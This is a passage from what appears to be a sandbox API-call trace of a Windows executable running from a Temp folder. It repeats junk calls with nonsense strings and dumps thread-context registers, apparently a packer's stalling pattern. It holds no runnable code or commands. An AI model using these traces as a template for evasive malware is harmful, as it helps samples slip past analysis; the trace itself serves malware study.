[494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.101] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.102] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.102] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.102] GetConsoleCP () returned 0x0
	[0066.102] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.103] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.104] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.104] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.104] GetConsoleCP () returned 0x0
	[0066.104] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.104] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.105] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.105] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.105] GetConsoleCP () returned 0x0
	[0066.105] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, 